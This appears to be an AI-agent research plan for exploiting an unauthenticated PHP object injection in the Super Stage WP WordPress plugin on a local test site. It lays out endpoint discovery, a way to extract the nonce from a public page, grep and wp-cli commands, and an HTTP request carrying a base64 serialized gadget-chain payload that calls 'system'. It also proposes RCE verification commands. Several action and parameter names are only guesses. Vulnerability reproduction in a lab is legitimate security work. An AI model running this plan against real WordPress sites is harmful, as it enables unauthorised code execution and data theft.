Research Plan: Super Stage WP <= 1.0.1 - Unauthenticated PHP Object Injection

1. Vulnerability Summary

The Super Stage WP plugin (versions up to 1.0.1) is vulnerable to PHP Object Injection due to the use of unserialize() on user-supplied data without adequate sanitization or authentication checks. This typically occurs in an AJAX handler or a public-facing initialization hook where state/configuration data is passed from the client to the server. Since the vulnerability is "unauthenticated," it must reside in a code path accessible to logged-out users, likely via a wp_ajax_nopriv_* hook or a direct init/wp_loaded hook processing $_POST or $_GET data.

2. Attack Vector Analysis

• Endpoint: WordPress AJAX endpoint /wp-admin/admin-ajax.php.
• Action (Inferred): Likely a wp_ajax_nopriv_ action named something like sswp_load_stage, super_stage_process, or similar.
• Parameter: A POST parameter (e.g., sswp_data, stage_state, payload) containing a Base64-encoded or URL-encoded serialized PHP object string.
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active. A nonce may be required if the developer attempted CSRF protection, though these are often bypassable or leaked on public pages.

3. Code Flow

1. Entry Point: The plugin registers an AJAX action for unauthenticated users:

   add_action( 'wp_ajax_nopriv_some_action', array( $this, 'vulnerable_method' ) );
   

2. Input Acquisition: The vulnerable_method retrieves data from the request:

   $data = $_POST['data_param'];
   

3. Vulnerable Sink: The data is passed directly to unserialize() or maybe_unserialize():

   $unserialized_data = unserialize( base64_decode( $data ) );
   

4. Object Injection: An attacker provides a crafted serialized string representing a PHP object. If a suitable POP (Property Oriented Programming) chain exists in WordPress core or other active plugins, it can lead to file deletion, data theft, or RCE.

4. Nonce Acquisition Strategy

If the vulnerable AJAX handler uses check_ajax_referer or wp_verify_nonce, the nonce is likely exposed to unauthenticated users through wp_localize_script.

Strategy:

1. Locate Script Localization: Search the codebase for wp_localize_script to find the JavaScript object name and nonce key.
   • grep -r "wp_localize_script" .
2. Identify Triggering Shortcode: Find the shortcode that enqueues the plugin's frontend scripts.
   • grep -r "add_shortcode" .
3. Setup Test Page: Create a public post/page containing that shortcode.
   • wp post create --post_type=page --post_status=publish --post_content='[target_shortcode]'
4. Extract Nonce:
   • Use browser_navigate to visit the newly created page.
   • Use browser_eval to extract the nonce:

     // Example based on common naming conventions
     window.sswp_ajax_obj?.nonce || window.sswp_params?.ajax_nonce
     

5. Exploitation Strategy

Since no specific POP chain is identified in the plugin itself, the exploitation will focus on proving the injection by using a standard WordPress core POP chain (e.g., Requests_Utility_FilteredIterator) or a class that triggers a visible side effect.

Step-by-Step Plan:

1. Discovery: Run grep -rn "unserialize" . to find the exact sink.
2. Trace: Find the hook (e.g., wp_ajax_nopriv_...) calling the function containing the sink.
3. Payload Generation:
   • Use a tool like phpggc or a manual PHP script to generate a payload.
   • Target Chain (Requests): Requests_Utility_FilteredIterator is often available in WP core.
4. Execution:
   • Prepare the HTTP POST request to /wp-admin/admin-ajax.php.
   • Set Content-Type: application/x-www-form-urlencoded.
   • Include action, nonce (if required), and the malicious payload.
5. Request Example:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.local
   Content-Type: application/x-www-form-urlencoded
   
   action=vulnerable_action&nonce=12345abcde&sswp_data=TzozMzoiUmVxdWVzdHNfVXRpbGl0eV9GaWx0ZXJlZEl0ZXJhdG9yIjoyOntzOjk6IgAqAGlzX2FwcCI7YjoxO3M6MTE6IgAqAGNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fQ==
   

   (Note: Base64 payload is illustrative of a serialized object).

6. Test Data Setup

1. Plugin Installation: Ensure super-stage-wp version 1.0.1 is installed and activated.
2. Page Creation: (If a shortcode is needed for nonce)
   • wp post create --post_type=page --post_status=publish --post_title="Exploit Test" --post_content="[super-stage-shortcode]"
3. Identify Nonce Key: Note the page ID to fetch the nonce via the browser.

7. Expected Results

• Confirmation: If the injection is successful, the server will attempt to unserialize the object.
• Side Effect: If using a POP chain for RCE (e.g., system('whoami')), the output may appear in the HTTP response or the PHP error log.
• Error-Based: If no POP chain is used, injecting an object of a non-existent class (e.g., O:14:"ExploitSuccess":0:{}) will often trigger a PHP notice/warning in wp-content/debug.log: PHP Incomplete_Class object..., which confirms the data reached the unserialize sink.

8. Verification Steps

1. Log Inspection: Check the WordPress debug log for evidence of the injected object.
   • tail -n 20 /var/www/html/wp-content/debug.log
2. Payload Observation: If the payload triggers a system command (like touch /tmp/pwned), verify the file existence:
   • ls /tmp/pwned
3. Database Check: (If the POP chain modifies options)
   • wp option get some_target_option

9. Alternative Approaches

• Cookie-based Injection: If no AJAX action is found, check if the plugin uses unserialize on any custom cookies during init.
• maybe_unserialize: If the plugin uses maybe_unserialize(), it might be possible to trigger the vulnerability even if the data doesn't "look" like a serialized string at first glance (though maybe_unserialize still requires the string to start with a:, O:, etc.).
• Nested Deserialization: Check if the plugin fetches data from a remote API and then deserializes it, which could lead to Second-Order Object Injection.